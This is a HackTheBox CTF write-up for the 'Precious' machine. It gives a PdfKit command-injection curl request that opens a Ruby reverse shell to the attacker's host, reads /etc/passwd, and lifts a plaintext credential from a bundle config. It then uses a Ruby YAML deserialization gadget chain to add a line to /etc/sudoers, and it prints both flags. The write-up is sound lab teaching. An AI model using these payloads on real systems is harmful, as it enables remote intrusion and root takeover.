Precious
by k0d14k
Precious
CTF: hackthebox
Category: Machine
Difficulty: Easy
Description
The machine hosts a web pages that exports a PDF file from another web page
address
: https://app.hackthebox.com/machines/Precious
Solution
First of all, after we get connected to the HackTheBox vpn we need to add the host name for the provided ip (The ip may change so before follow this writeup verify if the ip is the same I used).
To add the host name simply use:
sudo su
echo "10.10.11.189 precious.htb" >> /etc/hosts
Now we are able to use this link: http://precious.htb
We have to remember that the machine is hosted into a vpn so the web page have to be reachable by the precious’s web page.
We simply can host an our page.
Let’s create an index.php
and host it with
php -S [our vpn IP]:[port]
Perform our request and it returns us a PDF as follow:
x9nc0zgm1ioi3epmzue2e4pv4evuct5p.pdf
Now, try to get some other information about this file.
I used exiftool
and the result gives to me a terrific important information.
┌──(kali㉿kali)-[~/…/ctf/hackTheBox/machines/precious]
└─$ exiftool x9nc0zgm1ioi3epmzue2e4pv4evuct5p.pdf
ExifTool Version Number : 12.54
File Name : x9nc0zgm1ioi3epmzue2e4pv4evuct5p.pdf
Directory : .
File Size : 10 kB
File Modification Date/Time : 2023:01:16 18:51:28+01:00
File Access Date/Time : 2023:01:18 11:26:08+01:00
File Inode Change Date/Time : 2023:01:16 18:51:49+01:00
File Permissions : -rwxrwx---
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
After a google search I found that the PdfKit v-0.8.6
is vulnerable to a Remote Code Execution
.
Using this information and knowing that the server is a ruby
server. I found in a cheatsheet an exploit that uses a Ruby Socket to spawn a shell.
I crafted a curl request to get the reverse shell. Open a nc listener
in your local machine.
curl -X POST http://precious.htb -d "url=http%3A%2F%2F[LOCAL IP]%3A90%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22[LOCAL IP]%22%2C1234%29%29%27%60"
Let me make a recap. You now should be have your php instance, your nc listener and running the curl request you should be able to open a reverse shell
.
┌──(kali㉿kali)-[~/…/ctf/hackTheBox/machines/precious]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.88] from (UNKNOWN) [10.10.11.189] 58750
ls -al
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby 59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby 99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby 478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Jan 18 05:39 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
whoami
ruby
We are logged in with ruby
user. Let’s see what we found in the /home
directory.
ls /home
henry
ruby
The are two users, We can see into the /etc/passwd
file to be more secure.
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
ruby:x:1001:1001::/home/ruby:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
Stabilize the reverse shell into a ssh shell (Privilege escalation STEP 1)
After We got the reverse shell We want to stabilize our access with a ssh shell
. I searched for any file containing the username.
find -H 'ruby' /home 2>/dev/null
/home
/home/henry
/home/henry/dependencies.yml
/home/henry/linpeas.sh
/home/henry/.profile
/home/henry/user.txt
/home/henry/.bash_history
/home/henry/.gnupg
/home/henry/.bash_logout
/home/henry/.local
/home/henry/.local/share
/home/henry/.bashrc
/home/ruby
/home/ruby/linpeas.sh
/home/ruby/.bundle
/home/ruby/.bundle/config
/home/ruby/.profile
/home/ruby/.bash_history
/home/ruby/.cache
/home/ruby/.cache/gstreamer-1.0
/home/ruby/.cache/gstreamer-1.0/registry.x86_64.bin
/home/ruby/.cache/fontconfig
/home/ruby/.cache/fontconfig/CACHEDIR.TAG
/home/ruby/.cache/fontconfig/8750a791-6268-4630-a416-eea4309e7c79-le64.cache-7
/home/ruby/.cache/fontconfig/ef96da78-736b-4d54-855c-6cd6306b88f9-le64.cache-7
/home/ruby/.cache/fontconfig/7fbdb48c-391b-4ace-afa2-3f01182fb901-le64.cache-7
/home/ruby/.cache/fontconfig/cb67f001-8986-4483-92bd-8d975c0d33c3-le64.cache-7
/home/ruby/.gnupg
/home/ruby/.gnupg/private-keys-v1.d
/home/ruby/.gnupg/S.gpg-agent
/home/ruby/.gnupg/pubring.kbx
/home/ruby/.gnupg/S.gpg-agent.browser
/home/ruby/.gnupg/S.gpg-agent.ssh
/home/ruby/.gnupg/trustdb.gpg
/home/ruby/.gnupg/S.gpg-agent.extra
/home/ruby/.bash_logout
/home/ruby/.bashrc
As We can see there are some files containing ruby
. We can immediately filter the henry
directory because we haven’t permission over there. Every .gnupg
and .cache
is garbage for us right now so skip these too. Now we just have few files. Linpeas too is not util cause maybe it was imported by another attacker.
/home
/home/ruby
/home/ruby/.bundle
/home/ruby/.bundle/config
/home/ruby/.profile
/home/ruby/.bash_history
/home/ruby/.bash_logout
/home/ruby/.bashrc
Looking into these files We can find, into the .bundle/config
ssh credentials for henry
.
cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Privilege Escalation STEP 2 (henry-root)
Let’s get our ssh shell by
┌──(kali㉿kali)-[~]
└─$ ssh henry@precious.htb
henry@precious.htb's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$
Now we want to became root, so the first thing we can do is to run sudo -l
to see which files can be runned by us as root without any password.
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$
The update_dependencies.rb
file appear as what We need so let’s check if there is any vulnerability into this file.
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
henry@precious:~$
It appears as a simple ruby file to update dependencies.
The only way we have to provide an input to this file is by YAML.load
. After some (too much I guess) time on google I discovered that this command is vulnerable to Yaml Deserialization Attack
and I found an exploit too.
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sleep 600
method_id: :resolve
Exploit
After I found this exploit I set the sleep to 10 seconds because 600 was too much and I put the exploit into a dependencies.yml
in /home/henry
directory, and It worked as expected.
So now we have the command injection via dependencies.yml and, running the update_dependencies as root, We can now inject into /etc/sudoers
a new record for henry that means that henry can use sudo su
.
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "echo 'henry ALL=(ALL:ALL) ALL' >> /etc/sudoers"
method_id: :resolve
henry@precious:~$ sudo ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ sudo su
[sudo] password for henry:
root@precious:/home/henry#
COOL! Now henry is a sudoer
FLAG
In this machine there was two flags.
/home/henry/user.txt
: 163a4e8cbcbcff0e482b6a670fbd8424
/root/root.txt
: 836dab63ea9cae4ffa6377e92c40171f
Links and tools
PdfKit CVE
: https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
PdfKit exploit
: https://www.ctfiot.com/84447.html
YAML Deserialization Attack
: https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/